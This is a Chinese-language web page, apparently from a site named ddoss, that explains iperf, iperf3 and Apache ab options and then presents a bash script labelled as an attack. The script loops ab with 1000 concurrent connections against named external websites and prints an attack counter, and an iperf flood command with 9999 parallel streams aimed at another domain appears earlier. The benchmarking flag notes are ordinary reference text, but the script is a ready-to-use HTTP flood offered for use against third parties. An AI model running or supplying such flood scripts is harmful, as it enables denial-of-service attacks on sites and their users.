并发数攻击
yum install -y iperf iperf3
iperf -c eisc.cn -p 80 -n 99 -P 9999
# -c 指定地址
# -p 指定端口
# -n 包大小
# -P 并发数
perf是一个网络性能测试工具。
iperf3是用来测量一个网络最大带宽的工具。
客户端
TCP
iperf3 -c 192.168.1.100 -b 100M -i 1 -t 600
含义是连接服务器端,-b 100M 指的是测试100Mb/s,-i 1
是每1s显示一次.-t 600是指测试600s
UDP iperf3 -c 192.168.1.100 -u -b 100M -i 1
-u 是指udp
其他常用参数
-p 端口号 是连接服务器端指定端口
-P 并发连接数
‘
-s 表示服务器端;
-p 定义端口号;
-i 设置每次报告之间的时间间隔,单位为秒,如果设置为非零值,就会按照此时间间隔输出测试报告,默认值为零
客户端命令行
其中,
复制代码
-c 表示服务器的IP地址;
-p 表示服务器的端口号;
-t 参数可以指定传输测试的持续时间,Iperf在指定的时间内,重复的发送指定长度的数据包,默认是10秒钟.
-i 设置每次报告之间的时间间隔,单位为秒,如果设置为非零值,就会按照此时间间隔输出测试报告,默认值为零;
-w 设置套接字缓冲区为指定大小,对于TCP方式,此设置为TCP窗口大小,对于UDP方式,此设置为接受UDP数据包的缓冲区大小,限制可以接受数据包的最大值.
--logfile 参数可以将输出的测试结果储存至文件中.
-J 来输出JSON格式测试结果.
-R 反向传输,缺省iperf3使用上传模式:Client负责发送数据,Server负责接收;如果需要测试下载速度,则在Client侧使用-R参数即可.
#!/bin/bash
# 攻击系统
# apt install apache2-utils
bf=9999
count=99
port=443
touch postfile.ab
urllist=(
https://76.yirong.com/443?vid=1
#https://h5.daanfax.com/h5
)
echo 攻击的网站为: ${urllist[*]}
for url in ${urllist[*]}
do
for((i=0;i<$count;i++))
do
#curl $url > /dev/null
#iperf -c $url -p 80 -n 99 -P $bf
#iperf -c $url -p 443 -n 99 -P $bf
#curl $url > /dev/null
#hey -t 2 -z 10s -c $bf $url
ab -c 1000 -n 10000 -t 3 -p a.ab $url
echo "当前攻击次数 $i 剩余: $[bf-i] 次数 并发数:$bf " ; sleep 0.001
done
done
# apt install apache2-utils -y
# ab -c 1000 -n 10000 -p postfile.ab $url -t 0.1
# -n 即requests,用于指定压力测试总共的执行次数。
# -c 即concurrency,用于指定的并发数。
# -t 即timelimit,等待响应的最大时间(单位:秒)。
# -b 即windowsize,TCP发送/接收的缓冲大小(单位:字节)。
# -p 即postfile,发送POST请求时需要上传的文件,此外还必须设置-T参数。
# -u 即putfile,发送PUT请求时需要上传的文件,此外还必须设置-T参数。
# -T 即content-type,用于设置Content-Type请求头信息,例如:application/x-www-form-urlencoded,默认值为text/plain。
# -v 即verbosity,指定打印帮助信息的冗余级别。
# -w 以HTML表格形式打印结果。
# -i 使用HEAD请求代替GET请求。
# -x 插入字符串作为table标签的属性。
# -y 插入字符串作为tr标签的属性。
# -z 插入字符串作为td标签的属性。
# -C 添加cookie信息,例如:"Apache=1234"(可以重复该参数选项以添加多个)。
# -H 添加任意的请求头,例如:"Accept-Encoding: gzip",请求头将会添加在现有的多个请求头之后(可以重复该参数选项以添加多个)。
# -A 添加一个基本的网络认证信息,用户名和密码之间用英文冒号隔开。
# -P 添加一个基本的代理认证信息,用户名和密码之间用英文冒号隔开。
# -X 指定使用的和端口号,例如:"126.10.10.3:88"。
# -V 打印版本号并退出。
# -k 使用HTTP的KeepAlive特性。
# -d 不显示百分比。
# -S 不显示预估和警告信息。
# -g 输出结果信息到gnuplot格式的文件中。
# -e 输出结果信息到CSV格式的文件中。
# -r 指定接收到错误信息时不退出程序。
# -h 显示用法信息,其实就是ab -help。Powered by ddoss.cn 12.0
©2015 - 2025 ddoss
渝公网安备50011302222260号
渝ICP备2024035333号
【实验平台安全承诺书】
小绿叶技术社区,优化网络中,点击查看配置信息
主机监控系统: 安全防火墙已开启检查cc攻击-下载文件完成后等待10s 恢复访问,检查连接数低于峰值恢复访问
您的IP:10.8.103.62,2025-12-09 04:53:48,Processed in 0.01764 second(s).